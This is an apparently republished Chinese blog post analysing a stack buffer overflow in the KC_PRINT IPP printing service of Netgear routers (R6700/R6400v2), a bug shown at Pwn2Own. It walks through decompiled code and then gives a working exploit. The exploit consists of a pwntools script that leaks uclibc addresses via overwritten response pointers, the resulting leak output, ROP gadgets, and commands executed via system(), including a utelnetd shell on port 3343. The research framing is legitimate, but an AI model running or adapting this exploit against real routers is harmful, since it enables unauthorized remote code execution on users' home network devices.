Nccgroup Pwn2Own 中攻破 Netgear R6700路由器的漏洞分析
2022-9-8 16:6:0 Author: bestwing.me(查看原文) 阅读量:46 收藏

前言

前几天 sectoday 推了一个关于 NCC 研究员参加 Pwn2Own Austin 2021 比赛攻破路由器、NAS、打印机的技术细节分享 的推送。

其中有一个篇章是讲 Netgear R6700 Router 的， 恰好我上上篇分享的文章 PSV-2020-0437:Buffer-Overflow-on-Some-Netgear-Routers 所使用的路由器型号以及固件版本也在该漏洞影响范围之内。因此打算分析这个漏洞，并自己写一下这个漏洞的 exploit 。

注：

分析以及利用的路由器型号为： R6400v2 ， 固件版本为：V1.0.4.102_10.0.75

漏洞分析

通过 slide 可以得知， nccgroup 所发现的漏洞在 KC_PRINT 这个程序里，所攻击端口为 631 端口。 根据我浅薄的知识，第一反映这是一个和 IPP (Internet Printing Protocol，缩写IPP, 是一个用于通过互联网打印文件的标准网络协议) 有关的程序。 在后面的进一步分析的过程中，确实验证了我的猜想。

KC_PRINT 使用不同的线程来处理不同的功能，

而该漏洞是发生在 ipp_server 线程里面的。 其大致入口代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
if ( setsockopt(fd, 1, 2, &optval, 4u) < 0 )
 {
   perror("ipp_server: setsockopt SO_REUSEADDR failed");
   close(fd);
   pthread_attr_destroy(&attr);
   pthread_exit(0);
 }

 s.sa_family = 2;
 *(_DWORD *)&s.sa_data[2] = htonl(0);
 *(_WORD *)s.sa_data = htons(631u); 
 if ( bind(fd, &s, 0x10u) < 0 ) 
  ...

 listen(fd, 128);

while ( flag )
 {
   newfd = accept(fd, &addr, &addr_len);
   if ( newfd >= 0 )
   {
     sub_A0FC(1);
     v1[0] = 60;
     v1[1] = 0;
     if ( setsockopt(newfd, 1, 20, v1, 8u) < 0 )
       perror("ipp_server: setsockopt SO_RCVTIMEO failed");
     Fd = malloc(8u);
     if ( Fd )
     {
       memset(Fd, 0, 8u);
       *Fd = newfd;
       pthread_mutex_lock(&stru_18B40);
       v6 = sub_16068();
       if ( v6 < 0 )
       {
		...
       }
       else if ( pthread_create(&dword_18740[v6], &attr, do_ipp_http_thread, Fd) )

		...

然后会进入到 do_ipp_http_thread 函数里， 该函数会进一步调用一个 do_http 的函数。 该函数用来处理对应的 IPP 协议的 HTTP 请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
memset(buf, 0, sizeof(buf));
n = recv_n(fd, buf, 1024);
if ( n <= 0 )
  return -1;
if ( strstr(buf, "100-continue") )
{
  ...
}
HTTP_INPUT = strstr(buf, "POST /USB");
if ( !HTTP_INPUT )
  return -1;
HTTP_INPUT += 9;
v18 = strstr(HTTP_INPUT, "_LQ");
if ( !v18 )
  return -1;
v13 = *v18;
*v18 = 0;
usblp_index = atoi(HTTP_INPUT);
*v18 = v13;
if ( usblp_index > 10 )
  return -1;
if ( !is_printer_connected(usblp_index) )     
  return -1;
v22[1] = usblp_index;
HTTP_INPUT = strstr(buf, "Content-Length: ");
if ( !HTTP_INPUT )
{
  ...
}
HTTP_INPUT += 16;
v18 = strstr(HTTP_INPUT, "\r\n");
if ( !v18 )
  return -1;
v13 = *v18;
*v18 = 0;
content_len = atoi(HTTP_INPUT);
*v18 = v13;
memset(recv_buf, 0, sizeof(recv_buf));
n = recv(fd, recv_buf, 8u, 0);
if ( n != 8 )
  return -1;
if ( (recv_buf[2] || recv_buf[3] != 2) && (recv_buf[2] || recv_buf[3] != 6) )
{
  v14 = do_airippWithContentLength(v22, content_len, recv_buf);
  if ( v14 < 0 )
    return -1;
  return 0;
}

首先 n = recv_n(fd, buf, 1024); 接收 1024 的消息，这一部分消息以 \r\n 作为结束标识， 然后会取出 Content-Length: 的值作为 content_len 传入 do_airippWithContentLength 函数中。

在调用 do_airippWithContentLength 函数之前， 还会读取一个 8 字节长度的消息

1
2
memset(recv_buf, 0, sizeof(recv_buf));
n = recv(fd, recv_buf, 8u, 0);

该 8 字节长度的消息有一定的格式， 当满足 (recv_buf[2] || recv_buf[3] != 2) && (recv_buf[2] || recv_buf[3] != 6) 条件的时候才会调用 do_airippWithContentLength 函数。

且进入到 do_airippWithContentLength 函数后， 会根据这个 8 个字节长度的消息， 来决定进一步调用哪个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __fastcall do_airippWithContentLength(int *a1, size_t content_len, const void *buf)
{
  _BYTE *recv_buf; 
  int v8; 
  int Jobs; 

  v8 = *a1;
  recv_buf = malloc(content_len);
  if ( !recv_buf )
    return -1;
  memcpy(recv_buf, buf, 8u);
  if ( toRead(v8, (recv_buf + 8), content_len - 8) >= 0 )
  {
    if ( recv_buf[2] || recv_buf[3] != 11 )
    {
      if ( recv_buf[2] || recv_buf[3] != 4 )
      {
        if ( recv_buf[2] || recv_buf[3] != 8 )
        {
          if ( recv_buf[2] || recv_buf[3] != 9 )
          {
            if ( recv_buf[2] || recv_buf[3] != 10 )
            {
              if ( recv_buf[2] || recv_buf[3] != 5 )
                Jobs = sub_D0C8(a1, recv_buf);
              else
                Jobs = Response_Create_Job(a1, recv_buf, content_len);
            }
            else
            {
              Jobs = Response_Get_Jobs(a1, recv_buf, content_len);
            }
          }
          else
          {
            Jobs = Response_Get_Job_Attributes(a1, recv_buf, content_len);
          }
        }
        else
        {
          printf("Client %d: Cancel-Job\n", v8);
          Jobs = sub_10EA0(a1, recv_buf);
        }
      }


例如此处， 如果我们想调用 Response_Get_Jobs 函数， 我们就得进一步满足 recv_buf[2] || recv_buf[3] == 10 的条件， 才能进到 Response_Get_Jobs 函数里。因此我们可以构造如下的消息：

b'\x00\x00\x00\x0a\x00\x00\x99\x99' 让其满足下标为 3 的时候 为 10 即可。

另外， 在 do_http 函数中有一个 if ( !is_printer_connected(usblp_index) ) // 检查是否有打印机设备挂载 的判断，该函数会读取 /proc/printer_status 的内容来判断是否有打印机挂载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if ( printer_status )
{
  fd = open("/proc/printer_status", 0);
  if ( fd > 0 )
  {
    memset(printer_status, 0, 0x400u);
    v7 = read(fd, printer_status, 0x400u);
    close(fd);
    if ( v7 > 0 )
    {
      *(printer_status + v7) = 0;
      memset(s, 0, sizeof(s));
      snprintf(s, 0x10u, "usblp%d", usblp_index - 1);
      v7 = strstr(printer_status, s) != 0;
      free(printer_status);
      printer_status = 0;
      return v7;
    }
    else
    {
      ...
    }
  }

这里我没有挂载打印机，因此我通过 gdb 来绕过这个判断。

此时已经进到 do_airippWithContentLength 函数， 该函数会进一步根据 content-len - 8 读取后续的更多消息内容。而这个 content-len 是没有进行长度检查的，这里以 Response_Get_Jobs 函数为例， 来做进一步的分析。

在 Response_Get_Jobs 中：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
flag1 = 0;
 prefix_size = 0x4A;
 prefix_ptr = malloc(0x4Au);
 if ( !prefix_ptr )
 {
   perror("Response_Get_Jobs: malloc xx");
   return -1;
 }
 memset(prefix_ptr, 0, prefix_size);
 cnt = memcpy_n(prefix_ptr, total, &recv_buf[offset], 2u);
 total += cnt;
 if ( *recv_buf == 1 && !recv_buf[1] )
   flag1 = 1;
 offset += 2;
 *(prefix_ptr + total++) = 0;
 *(prefix_ptr + total++) = 0;
 offset += 2;
 total += memcpy_n(prefix_ptr, total, &recv_buf[offset], 4u);
 offset += 4;
 v12 = 66;
 cnt = memcpy_n(prefix_ptr, total, &unk_1823C, 0x42u);
 total += cnt;
 ++offset;                                     
 memset(v9, 0, sizeof(v9));
 memset(buf_2048, 0, sizeof(buf_2048));
 buf_2048[subffix_offset++] = 5;
 if ( !flag1 )
 {
   while ( recv_buf[offset] != 3 && offset <= content_len )
   {
     if ( recv_buf[offset] == 0x44 && !flag2 )
     {
       flag2 = 1;
       buf_2048[subffix_offset++] = 68;
       copy_len = (recv_buf[offset + 1] << 8) + recv_buf[offset + 2];
       cnt = memcpy_n(buf_2048, subffix_offset, &recv_buf[offset + 1], copy_len + 2);
       subffix_offset += cnt;
     }
     ++offset;                                 
     copy_len = (recv_buf[offset] << 8) + recv_buf[offset + 1];
     offset += 2 + copy_len;                   
     copy_len = (recv_buf[offset] << 8) + recv_buf[offset + 1];
     offset += 2;                              
     if ( flag2 )
     {
       memset(command, 0, sizeof(command));
       memcpy(command, &recv_buf[offset], copy_len);
       if ( !strcmp(command, "job-media-sheets-completed") )

存在一个缓冲区溢出：

1
2
3
4
if ( flag2 )
{
  memset(command, 0, sizeof(command));
  memcpy(command, &recv_buf[offset], copy_len);

此处的 copy_len 是完全可控的， 且 buf_2048 在栈上， 我们只需让 flag1 不等于1 ， flag2 等于 1 ，就能进入到这个分支， 即满足 *recv_buf == 1 && !recv_buf[1] 且 recv_buf[offset] == 0x44 条件即可。

利用编写

该程序保护都没有开启

1
2
3
4
5
6
7
8
9
pwndbg> checksec
[*] '/workhub/Dropbox/Attachments/IoT and BaseBand/Router/Netgear/R6400v2/fs/squashfs-root/usr/bin/KC_PRINT'
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)

pwndbg>

既没有 canary 也没有 PIE ， 这极大的方便了我们的漏洞利用。

系统随机化开启情况：

1
2

1

ASLR 等级为 1， 即栈和共享库是完全随机的， 但是堆的分配不随机。

我们的目的是通过这个栈溢出漏洞， 来达到任意命令执行的目的。我们检索这个程序，发现程序里并没有现成的 system 或者 popen 函数，因此 ret2system 的方法并不能直接使用， 因此我们需要绕过随机化，需要泄漏 uclibc 中的 system 地址， 因此首先需要一个信息泄漏的方法，来 leak uclibc 的加载基址。

Bypass ASLR

其实一般这种思路， 我们可以通过 ROP ， 调用 write 等函数读取 got 表中的值来做 uclibc 的地址。 但是这个方法我们可能需要知道我们当前链接的 fd 。如果不知道 fd ， 我们可能需要爆破这个， 但由于这个程序是多线程而不是父子进程的形式， 如果失败可能会造成 crash。

进一步分析函数， 以及阅读 slide ，我们发现程序中有一个可以做任意地址读写的方法。

我们可以通过栈溢出， 来覆盖 prefix_ptr 和 prefix_size 通过控制这两个变量，我们就可以通 write_ipp_response 将我们想读取的内容发送回来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
char command[64]; 
char buf_2048[2048]; 
char v9[2048]; 
int v10; 
size_t copy_len; 
int v12; 
size_t cnt; 
size_t prefix_size; 
int total; 
void *prefix_ptr; 
int v17; 
int client_sock; 
int v19; 
int v20; 
char flag1; 
char v22; 
char job_state_resons; 
char job_state; 
char job_originating_user_name; 
char job_name; 
char job_id; 
char v28; 
char flag2; 
size_t final_size; 
int offset; 
size_t response_len; 
void *final_ptr; 
size_t subffix_offset;

最首先的想法肯定是通过覆盖 prefix_ptr 指向 .got 来做读写， 但是如果我们直接的指向了函数的 .got , 例如 strcpy_ptr

1
.got:000180F0 strcpy_ptr      DCD __imp_strcpy        ; DATA XREF: strcpy+8

但是在调用 write_ipp_response 后， 程序会 free(prefix_ptr);

1
2
3
4
5
6
v10 = write_ipp_response(client_sock, final_ptr, response_len);
if ( prefix_ptr )
{
  free(prefix_ptr);
  prefix_ptr = 0;
}

如果是直接控制 prefix_ptr == 000180F0 ， 在 free 的过程中会造成崩溃。 最后我们发现当把 prefix_ptr 指向 .got 的开头

1
2
3
4
.got:000180E4                                         ; sub_8C0C+8↑o ...
.got:000180E8                 DCD 0
.got:000180EC off_180EC       DCD 0                   ; DATA XREF: sub_8C0C+C↑r
.got:000180F0 strcpy_ptr      DCD __imp_strcpy        ; DATA XREF: strcpy+8↑r

即将 prefix_ptr 指向 000180E4 是不会崩溃的。

这里和 小伙伴 @aobo @leomxxj 讨论来下 ， 猜测应该是如果是 free(0x000180EC) ， 当 uclibc 会对 libc 的地址写， 造成 crash
如果 free(0x00180E4)

pwndbg> telescope 0x000180E4
00:0000│ 0x180e4 —▸ 0x1800c ◂— 0x1
01:0004│ 0x180e8 —▸ 0x40024030 ◂— 0x0
pwndbg> vmmap 0x1800c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x18000 0x19000 rw-p 1000 10000 /usr/bin/KC_PRINT +0xc
0x1800c 地址是可读写的

另外在编写这部分 exploit 的时候， 我们发现处理 recv_buf 消息的时候

1
2
3
4
5
6
if ( !flag1 )
 {
   while ( recv_buf[offset] != 3 && offset <= content_len )
   {
     if ( recv_buf[offset] == 0x44 && !flag2 )
     {

这部分是一个 while 循环，只有当消息为 \x03 的时候， 才会结束循环， 因此我们需要 offset 设置好， 

1
2
3
4
5
    offset += copy_len;
.text:00010A30                 LDR             R2, [R11,#offset]
.text:00010A34                 LDR             R3, [R11,#copy_len]
.text:00010A38                 ADD             R3, R2, R3
.text:00010A3C                 STR             R3, [R11,#-0x14]

结束循环到 write_ipp_response 函数之前 ，我们还需要过两个地方， 第一个处， 为了方便我们在 command 前设置一个 job-id

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
    offset += 2;                              
    if ( flag2 )
    {
      memset(command, 0, sizeof(command));
      memcpy(command, &recv_buf[offset], copy_len);
      if ( !strcmp(command, "job-media-sheets-completed") )
      {
        v22 = 1;
      }
      else if ( !strcmp(command, "job-state-reasons") )
      {
        job_state_resons = 1;
      }
      else if ( !strcmp(command, "job-name") )
      {
        job_name = 1;
      }
      else if ( !strcmp(command, "job-originating-user-name") )
      {
        job_originating_user_name = 1;
      }
      else if ( !strcmp(command, "job-state") )
      {
        job_state = 1;
      }
      else if ( !strcmp(command, "job-id") )
      {
        job_id = 1;
      }
      else
      {
        if ( v28 )
        {
          buf_2048[subffix_offset++] = 68;
          buf_2048[subffix_offset++] = 0;
          buf_2048[subffix_offset++] = 0;
        }
        cnt = memcpy_n(buf_2048, subffix_offset, &recv_buf[offset - 2], copy_len + 2);
        subffix_offset += cnt;
        v28 = 1;
      }
    }
    offset += copy_len;
  }
}
final_size += prefix_size;
if ( flag1 )
  v20 = sub_11D68(v17, 1, 1, 1, 1, 1, 1, v9);
else
  v20 = sub_11D68(v17, job_id, job_name, job_originating_user_name, job_state, job_state_resons, v22, v9);
if ( v20 > 0 )

第二处 final_ptr = malloc(++final_size); 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
LABEL_54:
    *(final_ptr + response_len++) = 3;
    v10 = write_ipp_response(client_sock, final_ptr, response_len);
    if ( prefix_ptr )
    {
      free(prefix_ptr);
      prefix_ptr = 0;
    }
    if ( final_ptr )
    {
      free(final_ptr);
      final_ptr = 0;
    }
    if ( v10 )
      return -1;
    else
      return 0;
  }
  final_ptr = malloc(++final_size);
  if ( final_ptr )
  {
    memset(final_ptr, 0, final_size);
    cnt = memcpy_n(final_ptr, response_len, prefix_ptr, prefix_size);
    response_len += cnt;
    goto LABEL_54;
  }

我们得让 final_size 的值不能太大，不然分配不出来程序就不会走到 write_ipp_response 里，

1
2
3
4
5
6
7
.text:00010D78 loc_10D78                               ; CODE XREF: Response_Get_Jobs+868↑j
.text:00010D78                 LDR             R3, [R11,#-0x18]
.text:00010D7C                 ADD             R3, R3, #1
.text:00010D80                 STR             R3, [R11,#-0x18]
.text:00010D84                 LDR             R3, [R11,#-0x18]
.text:00010D88                 MOV             R0, R3  ; size
.text:00010D8C                 BL              malloc

即需要设置 [R11, #-0x18] 的值， 这是在栈上的。 最后我 leak 的代码大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
def leak_uclibc():

    
    recv_buf1  = b'\x00\x00\x00\x0a\x00\x00\x99\x99'
    recv_buf2  = b'\x00\x44\x00\x00\x10\x5d' 
    recv_buf2 += b'job-id\x00\x00' 

    junkdata = cyclic(0x104c , n=4)
    junkdata = bytearray(junkdata)
    junkdata[1026: 1026+ len(cmd)] = cmd
    junkdata[0x103c: 0x103c + 4] = p32(0x106a-0xe) 
    junkdata[0x1048: 0x1048 + 4] = p32(0x20)     
    junkdata = bytes(junkdata)

    recv_buf2 += junkdata
    recv_buf2 += p32(20)       
    recv_buf2 += p32(0x180E4)  
    recv_buf2 += b'\x03'

    payload =  b'POST /USB1_LQ\r\n'
    payload += b'Content-Length: %b\r\n' % str(len(recv_buf1 + recv_buf2)).encode('latin1')
    payload += b'\r\n'

    p = remote("192.168.1.1", 631)
    p.send(payload)
    p.send(recv_buf1)
    p.send(recv_buf2)

    p.recvuntil(b'\r\n\r\n')
    p.recvn(8)
    _dl_linux_resolve = u32(p.recvn(4)) 
    print('_dl_linux_resolve : {:#x}'.format(_dl_linux_resolve))
    ld_uClibc =  _dl_linux_resolve - 0x3e70
    print('ld_uClibc : {:#x}'.format(ld_uClibc))
    p.recvn(4)
    printf_addr = u32(p.recvn(4))
    print('printf : {:#x}'.format(printf_addr))
    uClibc = printf_addr - 0x360e0
    print('uClibc : {:#x}'.format(uClibc))

    
    
    
    return ld_uClibc, uClibc

Leak:

1
2
3
4
5
6
$ python3 exp_ncc_netgear_ipp.py
[+] Opening connection to 192.168.1.1 on port 631: Done
_dl_linux_resolve : 0x40021e70
ld_uClibc : 0x4001e000
printf : 0x401700e0
uClibc : 0x4013a000

Arbitrary command execution

通过泄漏 uclibc 的地址， 然后可以计算 system 的地址。 然后我们就可以进一步做劫持返回地址工作。首先我们需要有个一个地址来存储我们 system 将执行的字符串。 回顾上文， 我们提及到了系统的随机化等级为 1 。

系统随机化开启情况：

1
2

1

因此我们可以在堆上查找是否有可控的内容， 通过 hexdump 查找。

我们发现我们的 payload 会存储在 堆上， 因此 ， 我们可以将要执行的命令， 在第一次链接的时候 ， 就将命令写入。

1
2
3
4
5
6
7
cmd = b'/bin/utelnetd -p 3343 -l /bin/ash \x00'
cmd = b'/bin/touch /tmp/hacked'
cmd += b"\x00" * (len(cmd) % 4)

def leak_uclibc():
		...
    junkdata[1026: 1026+ len(cmd)] = cmd

在覆盖返回地址之前 ， 除了在 leak 需要注意的那几个变量以外 ，我们还需要单独注意

  • flag1
  • v17
  • response_len

等变量的值， 要单独重新赋值。

最后我们需要将 R0 的值指向堆上的 0x1b880 地址。 所以我们需要单独几个 gadget ， 这里我使用的是两个 gadget 。

首先通过第一个 gadget 控制 R3 为 0x1b880

1
0x00001504 : pop {r3, r4, fp, pc}

然后通过 第二个 gadget 将 R3 的值赋值给 R0 并且控制 PC 跳转到 system 函数上，从而完成任意命令执行。

1
0x00000a80 : mov r0, r3 ; pop {fp, pc}

最后就可以完成任意命令执行了。

参考链接

NCC Con Europe 2022 – Pwn2Own Austin Presentations


文章来源: https://bestwing.me/nccgroup-in-pwn2own-pwned-netgear-r6700-route-vulnerability-analysis.html
如有侵权请联系:admin#unsafe.sh